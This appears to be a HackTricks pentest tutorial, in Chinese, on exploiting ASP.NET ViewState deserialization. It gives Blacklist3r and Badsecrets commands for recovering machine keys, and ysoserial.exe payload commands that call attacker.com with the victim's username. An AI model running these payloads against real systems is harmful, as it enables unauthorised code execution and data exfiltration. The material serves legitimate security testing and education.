利用 __VIEWSTATE 而不知其秘密

Reading time: 12 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

什么是 ViewState

ViewState 是 ASP.NET 中用于在网页之间维护页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。

ViewState 信息可以通过以下属性或其组合来表征:

  • Base64:
  • EnableViewStateMacViewStateEncryptionMode 属性都设置为 false 时,使用此格式。
  • Base64 + MAC(消息认证码)启用:
  • 通过将 EnableViewStateMac 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。
  • Base64 + 加密:
  • ViewStateEncryptionMode 属性设置为 true 时应用加密,以确保 ViewState 数据的机密性。

测试用例

该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要:

  1. 对于 任何版本的 .NET,当 MAC 和加密都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。
  2. 对于 4.5 版本以下,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
  3. 对于 4.5 版本以下,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
  4. 对于 4.5 版本及以上,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。

测试用例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false

还可以通过将 AspNetEnforceViewStateMac 注册表项设置为零来完全禁用 ViewStateMAC:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

识别 ViewState 属性

您可以尝试通过使用 BurpSuite 捕获包含此参数的请求来识别 ViewState 是否受到 MAC 保护。如果未使用 Mac 保护该参数,您可以使用 YSoSerial.Net 进行利用。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

开发人员可以移除 ViewState,使其不成为 HTTP 请求的一部分(用户将不会收到此 cookie)。
人们可能会假设,如果ViewState存在,他们的实现就安全,不会出现与 ViewState 反序列化相关的潜在漏洞。
然而,事实并非如此。如果我们将 ViewState 参数添加到请求体中,并发送我们使用 ysoserial 创建的序列化有效负载,我们仍然能够实现代码执行,如案例 1所示。

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

为了启用 ViewState MAC,我们需要在特定的 aspx 文件上进行以下更改:

bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

我们还可以通过在 web.config 文件中设置它来实现 整体 应用,如下所示:

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

由于该参数受到MAC保护,因此要成功执行攻击,我们首先需要使用的密钥。

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找使用的密钥。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,因此与 Blacklist3r 不同,没有 Windows 依赖。对于 .NET viewstates,有一个 "python blacklist3r" 工具,这是使用它的最快方法。

它可以直接提供 viewstate 和 generator:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

或者,它可以直接连接到目标 URL 并尝试从 HTML 中提取 viewstate:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

要大规模搜索易受攻击的 viewstate,结合子域枚举,可以使用 badsecrets BBOT 模块:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

如果你运气好并且找到了密钥,你可以使用 YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

在服务器未发送_VIEWSTATEGENERATOR参数的情况下,您不需要提供--generator参数而是这些

bash
--apppath="/" --path="/hello.aspx"

测试用例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true

在这种情况下,不知道该参数是否受到MAC保护。因此,值可能是加密的,您将需要机器密钥来加密您的有效负载以利用该漏洞。

在这种情况下, Blacklist3r 模块正在开发中...

在 .NET 4.5 之前, ASP.NET 可以接受来自用户的未加密 ___VIEWSTATE_ 参数,即使**ViewStateEncryptionMode** 已设置为 始终。ASP.NET 仅检查请求中**__VIEWSTATEENCRYPTED** 参数的存在如果删除此参数并发送未加密的有效负载,它仍然会被处理。

因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在案例 2中使用的 YSoSerial.Net 命令,通过 ViewState 反序列化漏洞执行 RCE。

  • 从请求中删除 __VIEWSTATEENCRYPTED 参数,以利用 ViewState 反序列化漏洞,否则将返回 Viewstate MAC 验证错误,利用将失败。

测试用例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除非两个属性都为 false

我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。

xml
<httpRuntime targetFramework="4.5" />

另外,可以通过在 web.config 文件的 machineKey 参数中指定以下选项来完成此操作。

bash
compatibilityMode="Framework45"

如前所述,值是加密的。 然后,要发送有效的有效负载,攻击者需要密钥

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找正在使用的密钥:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

对于IISDirPath和TargetPagePath的更详细描述,请参见这里

或者,使用Badsecrets(带生成器值):

bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

一旦识别出有效的机器密钥,下一步是使用 YSoSerial.Net 生成序列化有效负载

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

如果您拥有 __VIEWSTATEGENERATOR 的值,您可以尝试使用 --generator 参数并省略 --path--apppath 参数。

成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了展示,该 PoC 可以通过一个名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 PoC of Successful Exploitation

测试用例 6 – 使用 ViewStateUserKeys

ViewStateUserKey 属性可以用来 防御 CSRF 攻击。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 ViewState 有效负载,则 有效负载将不会被应用程序处理
您需要使用一个额外的参数才能正确创建有效负载:

bash
--viewstateuserkey="randomstringdefinedintheserver"

成功利用的结果

对于所有测试用例,如果 ViewState YSoSerial.Net 负载 成功 工作,则服务器响应“500 Internal server error”,响应内容为“该页面的状态信息无效,可能已损坏”,并且我们获得 OOB 请求。

查看 进一步信息这里

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks